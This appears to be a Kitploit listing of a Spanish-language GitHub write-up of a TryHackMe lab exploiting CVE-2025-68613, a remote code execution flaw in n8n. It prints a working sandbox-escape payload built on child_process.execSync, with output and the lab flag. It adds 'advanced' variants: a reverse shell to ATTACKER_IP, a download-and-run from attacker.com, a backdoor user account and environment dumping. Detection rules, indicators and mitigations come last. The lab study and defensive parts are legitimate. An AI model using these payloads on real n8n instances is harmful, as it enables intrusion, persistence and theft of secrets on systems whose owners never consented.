Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
n8n-cve-2025-68613-thm | Kitploit
Herramientas/GitHubGitHub/khin-96/n8n-cve-2025-68613-thm
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebComando y ControlAprendizaje y EducaciónRespuesta a IncidentesDesarrollo de PayloadsLabs y Práctica
GitHubkhin-96/n8n-cve-2025-68613-thm

n8n-cve-2025-68613-thm

1hace 7 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

CVE-2025-68613 – Explotación RCE crítica de n8n

Resumen

Este repositorio documenta una explotación práctica de CVE-2025-68613 (CVSS 9.9), una vulnerabilidad crítica de ejecución remota de código que afecta a la plataforma de automatización de flujos de trabajo n8n (versiones 0.211.0 hasta 1.120.3).

Esta explotación se realizó éticamente en un entorno de laboratorio controlado de TryHackMe únicamente con fines educativos.


Resumen de la vulnerabilidad

CampoValor
ID CVECVE-2025-68613
Puntuación CVSS9.9 (Crítica)
Publicada19 de diciembre de 2025
Producto afectadoPlataforma de automatización de flujos de trabajo n8n
Tipo de vulnerabilidadInyección de expresiones → Escape de sandbox → RCE
Vector de ataqueUsuario autenticado (por defecto)
Versiones parcheadas1.120.4, 1.121.1, 1.122.0+
Versiones afectadas0.211.0 - 1.120.3

¿Qué es n8n?

n8n es una plataforma de automatización de flujos de trabajo de código abierto que permite a los usuarios conectar visualmente aplicaciones y servicios para la automatización de tareas. Incluye:

  • Arquitectura de flujo de trabajo basada en nodos: Cada nodo representa una acción (petición API, procesamiento de datos, correo electrónico, etc.)
  • Más de 400 integraciones nativas: Conectores preconstruidos para diversas APIs y servicios
  • Nodos de código: Ejecución de código JavaScript o Python personalizado
  • Evaluación de expresiones: Expresiones dinámicas envueltas en {{ }} evaluadas como JavaScript

Modelos de despliegue

  • Instancias autoalojadas (on-premises o nube privada)
  • Servicio gestionado alojado en la nube (n8n.cloud)
  • Herramientas de automatización internas dentro de redes corporativas

Antecedentes técnicos

La cadena de la vulnerabilidad

La vulnerabilidad reside en el sistema de evaluación de expresiones de flujo de trabajo de n8n. Cuando los usuarios autenticados configuran flujos de trabajo, su entrada se procesa como código JavaScript sin un sandbox adecuado.

Cadena de escalada de contexto

root@kitploit:~
Expression Sandbox
    ↓ (escape via 'this')
Node.js Global Context
    ↓ (access mainModule)
Module System (require)
    ↓ (load child_process)
System Command Execution

Fallos clave

  1. Evaluación insegura de expresiones: Las expresiones de usuario envueltas en {{ }} se evalúan como JavaScript crudo sin un aislamiento de contexto adecuado
  2. Escape de sandbox: El acceso al objeto this permite escapar de las restricciones previstas del sandbox
  3. Acceso no restringido a módulos: process.mainModule.require() proporciona acceso al sistema de módulos de Node.js
  4. Carga peligrosa de módulos: Puede cargar el módulo child_process para la ejecución de comandos del sistema
  5. Sin una protección de autenticación significativa: Cualquier usuario autenticado puede explotar la vulnerabilidad

Desglose del payload de explotación

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('COMMAND').toString() 
})()

Explicación:

  • this → Objeto global de Node.js
  • this.process → Objeto de proceso de Node.js
  • process.mainModule → Módulo raíz de la aplicación n8n
  • .require('child_process') → Carga el módulo de ejecución de comandos del sistema
  • .execSync('COMMAND') → Ejecuta el comando de shell de forma síncrona
  • .toString() → Convierte la salida del Buffer en una cadena legible

Recorrido de explotación

Paso 1: Autenticación

Acceda a la instancia vulnerable de n8n e inicie sesión con credenciales válidas.

Credenciales del laboratorio:

  • Correo electrónico: [email protected]
  • Contraseña: Try12345!

Login Screen


Paso 2: Pantalla de bienvenida y creación del flujo de trabajo

Después de iniciar sesión, se le presenta la interfaz de creación de flujos de trabajo. Haga clic en "Start from scratch" para comenzar un nuevo flujo de trabajo.

Welcome Screen


Paso 3: Añadir disparador manual

Haga clic en "Add first step" y busque "Manual Trigger". Este nodo sirve como punto de entrada para la ejecución del flujo de trabajo.

Manual Trigger Setup

Propósito: El nodo Manual Trigger permite la ejecución manual del flujo de trabajo mediante el botón "Execute workflow" de la interfaz, lo que lo hace ideal para pruebas.


Paso 4: Configurar el flujo de trabajo y añadir el mapeo de campos

Añada un nodo "Edit Fields" para realizar el mapeo de campos. Aquí es donde se explota la vulnerabilidad.

Workflow Configuration

Pasos de configuración:

  1. Haga clic en "Add field" para añadir un nuevo mapeo de campos
  2. Establezca el modo en "Expression"
  3. Esto permite la evaluación de código JavaScript

Paso 5: Ejecutar el comando ID

Inyecte el payload para ejecutar el comando id y obtener información del usuario/privilegios.

Payload:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()

Resultado:

root@kitploit:~
uid=1000(node) gid=1000(node) groups=1000(node)

ID Command Execution

Información obtenida:

  • Ejecutándose como usuario no root (uid=1000)
  • Pertenencia a grupos (gid=1000)
  • Posibles vías de escalada de privilegios

Paso 6: Enumerar el sistema de archivos con LS

Modifique el payload para ejecutar el comando ls y listar el contenido del directorio.

Payload:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

LS Command Execution

La salida muestra:

  • Archivo flag presente: flag.txt
  • Estructura de directorios y permisos de archivos
  • Datos adicionales de reconocimiento

Paso 7: Extraer datos sensibles

Lea el archivo flag usando el comando cat para completar la explotación.

Payload:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()

Flag obtenido:

root@kitploit:~
THM{n8n_exposed_workflow}

Flag Extraction


Técnicas avanzadas de explotación

1. Shell inversa

Establezca acceso de shell interactivo para un control persistente:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString() 
})()

2. Crear un usuario backdoor

Añada un nuevo usuario del sistema para acceso persistente:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString() 
})()

3. Descargar un payload malicioso

Obtenga y ejecute código remoto:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString() 
})()

4. Enumeración para escalada de privilegios

Compruebe los privilegios sudo:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('sudo -l').toString() 
})()

5. Reconocimiento del entorno

Extraiga las variables de entorno:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('env').toString() 
})()

Estrategias de detección

Registro de proxy web (Nginx)

Configure su proxy para registrar los cuerpos de las peticiones con fines de análisis:

root@kitploit:~
http {
    log_format detailed '$remote_addr - $remote_user [$time_local] '
                       '"$request" $status $body_bytes_sent '
                       '"$http_referer" "$http_user_agent" '
                       'Request-Body: "$request_body" '
                       'Duration: $request_time s';
    
    access_log /var/log/nginx/detailed_access.log detailed;
}

Regla de detección Sigma

Detecte intentos de explotación mediante peticiones a la API de flujos de trabajo:

root@kitploit:~
title: CVE-2025-68613 - n8n Expression Injection RCE
logsource:
    category: web_application_firewall
detection:
    keywords:
        - "process.mainModule.require"
        - "child_process"
        - "execSync"
    condition: keywords
filter:
    field: uri_path
    value: "/rest/workflows"
    method: POST

Monitorización de la creación de procesos

Supervise los procesos hijo sospechosos generados por n8n:

  • Vigile la generación inesperada de procesos child_process
  • Supervise las conexiones de shell inversa (bash, nc)
  • Rastree descargas/ejecuciones de archivos sospechosos
  • Alerte sobre intentos de escalada de privilegios

Ubicaciones de los registros

  • Registros de n8n: /root/.n8n/logs/
  • Registros del sistema: /var/log/auth.log, /var/log/syslog
  • Registros de ejecución de flujos de trabajo: base de datos de n8n

Indicadores de compromiso

  • Expresiones JavaScript sospechosas en los campos de flujos de trabajo que contengan:
    • process.mainModule
    • require('child_process')
    • execSync o spawn
  • Ejecuciones inusuales de child_process
  • Modificaciones inesperadas de flujos de trabajo
  • Intentos de inicio de sesión fallidos seguidos de un acceso exitoso
  • Cambios en el sistema de archivos en directorios inesperados

Cronología de la explotación


Mitigación y prevención

Acciones inmediatas

  1. Actualice n8n a las versiones parcheadas:

    • v1.120.4
    • v1.121.1
    • v1.122.0 o posterior
  2. Restrinja el acceso a la red

    • Implemente reglas de firewall para limitar el acceso a n8n
    • Use VPN u hosts bastión para el acceso administrativo
    • Desactive la exposición externa si no es necesaria
  3. Autenticación sólida

    • Aplique contraseñas seguras
    • Implemente autenticación multifactor (MFA)
    • Use integración SSO cuando sea posible
  4. Monitorización y registro

    • Habilite el registro detallado de todas las actividades de n8n
    • Monitorice las modificaciones de flujos de trabajo en tiempo real
    • Configure alertas para expresiones sospechosas

Medidas de seguridad a largo plazo

  1. Validación y saneamiento de entradas

    • Nunca evalúe la entrada del usuario como código
    • Implemente listas blancas de expresiones
    • Sanee todas las definiciones de flujos de trabajo
  2. Implementación de sandbox

    • Aísle la evaluación de expresiones en un sandbox restringido
    • Limite el acceso a las APIs de Node.js
    • Use máquinas virtuales o contenedores para el aislamiento
  3. Principio de mínimo privilegio

    • Ejecute n8n con los permisos mínimos necesarios
    • Restrinja el acceso al sistema de archivos
    • Limite la conectividad de red
  4. Revisión de código y pruebas de seguridad

    • Auditorías de seguridad periódicas de los nodos personalizados
    • Implemente herramientas SAST/DAST
    • Realice ejercicios de modelado de amenazas

Referencias

  • Documentación oficial de n8n
  • Política de seguridad de n8n
  • Módulo Child Process de Node.js
  • Inyección de código OWASP
  • CWE-95: Neutralización inadecuada de directivas en código evaluado dinámicamente
  • Calculadora CVSS v3.1

Información del laboratorio

  • Plataforma: TryHackMe
  • Sala: n8n: CVE-2025-68613
  • URL de la sala: https://tryhackme.com/room/n8ncve202568613
  • Dificultad: Media a alta
  • Objetivos de aprendizaje: Inyección de expresiones, escapes de sandbox, RCE, estrategias de detección

Aviso legal

Esta documentación se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Las técnicas de explotación descritas están pensadas para:

  • Pruebas de penetración autorizadas
  • Investigación de seguridad en entornos controlados
  • Práctica en laboratorios de TryHackMe
  • Comprensión de las vulnerabilidades de seguridad

El acceso no autorizado a sistemas informáticos es ilegal. Obtenga siempre la autorización escrita adecuada antes de realizar pruebas de seguridad.


Estructura del repositorio

root@kitploit:~
.
├── README.md                    # This file
├── exploitation-details.md      # Technical deep-dive guide
├── screenshots/
│   ├── 01-login.png
│   ├── 02-Welcome.png
│   ├── 03-Manual_Trigger.png
│   ├── 04-Workflow-setup.png
│   ├── 05-rce_id.png
│   ├── 06-Change_id_ls.png
│   └── rce_cat_flag.png
└── notes/
    └── exploitation-details.md

Notas del autor

Este writeup documenta la explotación exitosa de CVE-2025-68613 en un entorno de laboratorio de TryHackMe. La vulnerabilidad demuestra la importancia crítica de la evaluación segura de código y los peligros de una implementación inadecuada de sandbox en las plataformas de automatización.

Comprender esta vulnerabilidad ayuda tanto a los equipos de seguridad ofensiva a identificar problemas similares como a los equipos de defensa a desarrollar estrategias de detección más eficaces.

Descargar herramienta
PasoAcciónTiempo
1Acceder a la instancia de n8nSegundos
2Crear/modificar el flujo de trabajo< 1 minuto
3Añadir el nodo de mapeo de campos< 1 minuto
4Inyectar y ejecutar el comando id< 30 segundos
5Enumerar el sistema de archivos con ls< 1 minuto
6Extraer datos con cat< 30 segundos
TotalExplotación RCE completa< 5 minutos